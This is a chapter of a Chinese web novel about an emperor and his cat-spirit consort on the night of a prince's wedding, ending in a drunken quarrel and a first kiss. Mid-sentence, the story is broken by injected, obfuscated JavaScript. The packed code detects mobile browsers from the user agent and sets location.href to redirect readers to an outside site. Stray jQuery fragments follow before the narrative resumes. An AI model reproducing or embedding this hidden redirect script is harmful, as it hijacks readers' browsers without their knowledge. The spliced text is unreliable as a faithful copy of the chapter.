24. 九块桃花酥

作品:《朕的贵妃是只猫

    四月底,洛阳河岸柳絮沾着晨露纷纷洒洒,佑王和阿利泽婚期已至。


    波斯虽是小国,公主和亲与王爷大婚也不容含糊,宫中派嬷嬷到使臣住得驿站说皇室该有的体己话,后面都是裴游彩陪伴。


    阿利泽对镜梳妆,裴游彩绞尽脑汁想着法子安慰她,“嫁给佑王堂兄也有好处的,上无公婆,以后佑王府是你当家,没人给你找气受。”


    阿利泽:“我倒不在乎,而且我也不会受气。”


    裴游彩:“……哦,还有其他好处的,比如话本子上那些。”


    阿利泽盖上盖头。


    她在波斯不受宠,也不是在母亲膝下长大,所以对感情上的事向来单薄,大裕贵妃郡主还是太后,都是和善的人,佑王喜欢还是不喜欢都不重要,他们都没接触过,所以在这不会比波斯辛苦。


    王爷娶亲礼仪繁琐,黄昏时分,佑王府前鞭炮齐鸣。


    太上皇和太后正坐高堂,新人入礼堂拜堂成亲,最后一礼夫妻对拜后送入后院的婚房。


    玉真连着喝下三杯酒,此刻泪眼蒙眬,心底委屈巴巴空落落的,她是小猫咪不假,可她爹是定西侯,她也想要一场盛大的婚礼。


    这是姑娘们都想要的。


    玉真也不例外。


    裴浔压根不懂,他喝得醉乎乎,双眼迷离就差一头栽进池塘里,回宫路上还大言不惭说:“朕今晚到华阳宫安寝。”


    太后欣喜若狂,玉真和太上皇愁容满面。


    到了华阳宫,裴浔就走进寝殿就一头栽进床上,玉真怎么推都没用,只能气鼓鼓坐在床尾。


    “娘娘,水放好了。”


    寝殿内酒气熏天,玉真捂住鼻子十分嫌弃:“找几个太监来,送陛下去沐浴。”


    醉醺醺得来找她做什么嘛,想和她耍耍酒疯吗?四个太监抬走裴浔,玉真就将自己埋在被褥里。


    “唔……迎春,绿沈,要换被子,快拿新的被子来!”玉真忍不住哭闹,“好臭啊,我今天没地方睡了!”


    橘猫一跃跳在她膝上,伸出爪子安慰。


    迎春无奈道:“劝你少喝点非不听,宴会开始偷喝了两杯,公主拜堂时又喝了三杯,到后面也不消停,现在开始胡闹了。”


    “本宫才没有胡闹。”玉真晕乎乎道。


    裴浔要是不来她这,就不会发生这些事啦!


    迎春要摘下她脖子上的金项圈,玉真闹着不肯,无法,迎春伸手摸向她腕上的翡翠镯子,劝道:“你睡觉没有轻重,这只镯子水头好,要是不小心砸坏了,心疼得该是你。”


    玉真努力思考,绯色爬上双颊,鸳鸯瞳色似拨开朦胧的涟漪展现。


    她脱下镯子恋恋不舍交给迎春,迎春命绿沈和青羽带她进去沐浴。


    玉真沐浴时很乖巧,浴池里洒了玫瑰花露和花瓣,用得皂角也是玫瑰味道,粉嫩嫩的,衬得她娇艳欲滴。


    她挑选了一件红色寝衣,认真道:“本宫好羡慕阿利泽,她至少有婚礼,有拜天地,有高堂和大家的见证。”


    玉真当初只穿了一件红色裙子,上了宫中派来接她的马车到华阳宫,是挂了红绸,但和婚礼不一样的。


    第一日裴浔也没来见她,嬷嬷要她守规矩,她就一个人坐了好久好久,知道仪元殿的太监前来,告诉她裴浔很忙,让她早些歇息。


    玉真那会是想,裴浔要是不想见她,为什么要很晚很晚才来告诉她,让她坐了好久好久!


    迎春不知道怎么回答,保持了沉默。


    寝殿的被褥枕头都换了新的,因为是他用得水,贵妃宫里的刁奴们特意给他换了冷水,他此刻清醒不少,身上的热意却丝毫未减,面色难看坐在床尾,双手垂落在凸起的床板。


    “朕吐你床上了?”裴浔难以置信。


    玉真和身后宫女愣了片刻,“没呢,怎么了。”


    裴浔轻轻喘气,玉真坐到了他身边。


    他酒意并未散去,是四个太监没轻没重,胳膊又没劲,让裴浔跌了进去,现在贵妃来了,他酒意又上来了。


    贵妃:“陛下有自己的寝殿,也有自己的床,为什么要睡在臣妾这儿?”


    绿沈:“……”贵妃您再说一遍?


    青羽:“……”她听见了什么?


    迎春:“……和娘娘亲近的人,都会一块睡觉。”


    贵妃:“也没见我和兰渚哥哥,致川哥哥,还有溪姐姐睡觉啊,他们和我的关系不差裴浔,甚至还要更亲近些。”


    “这不一样。”迎春想道,“朋友和夫妻是不一样的。”


    裴浔往边上一瘫,没有在意贵妃的话。


    迎春几人眼观观鼻子,各自瞧了眼就退出去。


    殿内只剩玉真和裴浔两人。


    裴浔坐直了身子,让出道,说:“你睡里边。”


    玉真瞪着圆溜溜的大眼睛:“你睡地上吧,你是男子身强体壮,可不是我这个娇滴滴的小女子。”


    她喝醉了,连娇滴滴的小女子都说了出来,乌发垂在肩头,拆掉的首饰里头,独独留下一朵蝴蝶珠花,和脖子上沉甸甸的项圈。


    裴浔醉得脑袋疼,玉真的香味独特,甜甜的像是在勾.引他。


    “……”裴浔沉默,坚定摇头拒绝她的想法:“不成,你我是夫妻,睡一张榻上是天经地义的事,况且之前都睡过了,都睡了两次。”


    玉真很记仇,踹了他一脚。


    稀里糊涂为了修炼入宫,她其实连什么是修炼都不知道,只知道在裴浔身边,她就可以控制自己的身体,不会没意识地变成小猫。


    不过有时候在裴浔身边也会有时效的时候,她会有突然想跑出来的尾巴和耳朵,想要裴浔好好帮她摸摸。


    但是她记得很多事,都非常清楚。裴浔对她凶巴巴的,现在转变之块很难让她相信。


    “上次太后和姚女官考察我的礼仪和宫务,你不分青红皂白闯进来骂我,我说你一句,要不是太后,你还想禁足我。”


    贵妃咬住红艳艳的樱唇,已然泪眼蒙眬。


    泪珠一颗又一颗砸在裴浔的手上,带着灼热感。


    裴浔一顿,他是血气方刚又没有隐疾的正常男子,对贵妃早就起了非分之想。她又乖又漂亮,压根不是传言里的那样,就是盛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525369|168470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    气凌人,她这般的身份容貌也是应当的,偏偏不仗着自己的身份胡作为非,还要拿出自己的体己来帮助她人。


    泪水被粗粝的指腹抹去,裴浔道:“对不起,朕当初对你有偏见,现在知道你的习惯,你没有坏心思。”


    玉真不哭了:“抄书十遍,本宫要检查。”


    裴浔:“……成,二十遍都答应你。”


    玉真盖上被子,只露出毛绒绒的脑袋。


    裴浔身上很热,他压根没喝多少酒,他是借着酒意留宿贵妃的寝宫。


    现在贵妃睡了,一点反应都没给裴浔留。


    他道:“贵妃,你我是夫妻。”


    玉真懒洋洋道:“是呀,所以我们现在睡在一张床上,盖着一条被子。”


    “朕能亲你一下吗。”


    裴浔盯着帘帐上挂着的香囊。


    茉莉薄荷香味,贵妃的头发丝上也有这个味道。


    玉真悄悄红了脸,双手放在被子里,整个人都不敢动弹。


    裴浔身上的龙涎香似有若无,她脑袋塞了棉花般,感受心脏“扑通扑通——”似乎要跳脱她胸前那薄薄一层的雪肉,


    好快啊。


    裴浔不会要把她折起来吧,还是抱在怀里,揽住她的腰。


    玉真的耳朵好痒,幻想裴浔能摸一摸她的耳朵,这样就足够了。


    “把烛火灭了。”玉真耳朵动了动,连睫羽都在轻颤害怕。


    那就亲一下吧,他们都是夫妻了。


    裴浔只留下一盏灯,捏了下她的脸蛋,软软的,手感十分好,一不小心就多捏了几下。


    贵妃皮肤白,他都没用多少力气就将她捏红了,整个人都透着娇气。


    裴浔幻想了许多,那些郎君表面看起来风光霁月,可说起荤话来一点也不含糊。


    玉真缩在被子里,裴浔黏糊糊的眼神看得她难受,还要不要亲了,她整日听裴游彩说有多么的销魂滋味,心底下也想尝试尝试。


    就是……她是矜持的小猫,这些事上面不能操之过急,还是要稳重些。


    薄唇在猝不及防间贴上了玉真的唇。


    玉真下意识闭上眼,夫妻做这些是天经地义的,仅限于此。


    裴浔想着书上写得轻轻碰了碰,飞快得离去,玉真感慨震惊,她耳朵都要冒出来了,就这样……没了?


    “你会不会亲!”玉真揪住他的衣领逼问。


    裴浔安详挣脱束缚,规规矩矩倒在枕头上,“好了,该安寝了,快睡吧。”


    玉真:“……”


    好气啊,她都有点感觉了,耳朵痒痒的,尾巴也痒痒的,还有臀部也……


    想要重重地摸一摸。


    难怪橘猫整日翘着屁股来蹭她,这样揉一揉确实身舒服。玉真委屈巴巴,她像只得不到满足的小猫,趴在裴浔胸口,对准那处柔软,狠狠亲了上去。


    她想要婚礼,她想要婚服,她想要洞房花烛夜,她想要琴瑟和鸣夫妻美满。越想越气,玉真恶狠狠咬住裴浔的唇,直到血腥气蔓延在口齿间。


    玉真:“等到初七,我就和太后娘娘出宫。”